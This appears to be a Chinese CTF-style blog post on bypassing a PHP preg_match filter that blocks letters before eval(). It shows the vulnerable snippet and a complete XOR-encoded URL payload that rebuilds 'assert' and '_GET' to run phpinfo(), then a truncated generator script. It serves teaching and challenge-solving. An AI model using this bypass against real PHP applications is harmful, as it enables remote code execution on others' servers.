绕过preg_match

绕过preg_match

<?php
$input = $_GET['input'];
if (preg_match("/[a-zA-Z]/", $input)) {
   
    exit("wrong");
}
eval($input);

可以简单的理解preg_match("/[a-zA-Z]/" 正则表达式匹配 大小写字母符号

最终的目的是要到eval()函数中去执行任意代码,这题也就是考研我们如何绕过这个preg_match。

简单来说将特殊字符通过异或的方式重组了phpinfo();

什么是按位异或,异或本质是二进制运算

1001
0101
通过脚本
自己研究生成 payload

http://www.localhost.com/roge/dome1.php?input=$_2%20=%20(%27!%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%273%27%20^%20%27@%27).(%278%27%20^%20%27]%27).(%272%27%20^%20%27@%27).(%274%27%20^%20%27@%27);$_3%20=%20(%279%27%20^%20%27~%27).(%279%27%20^%20%27|%27).(%274%27%20^%20%27`%27);$_4%20=%20${%27_%27.$_3};$_2($_4[12345]);&12345=phpinfo();
<?php

//$myfile = fopen("xor_rce.txt", "w");
//$contents="";
遍历
//for ($i=0; $i < 256; $i++) {
   
//    for ($j=0; $j <256 ; $j++) {
   
//
//        if($i<16){
   
//            $hex_i='0'.dechex($i);
//        }
//        else{
   
//            $hex_i=dechex($i);
//        }
//        if($j<16){
   </
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值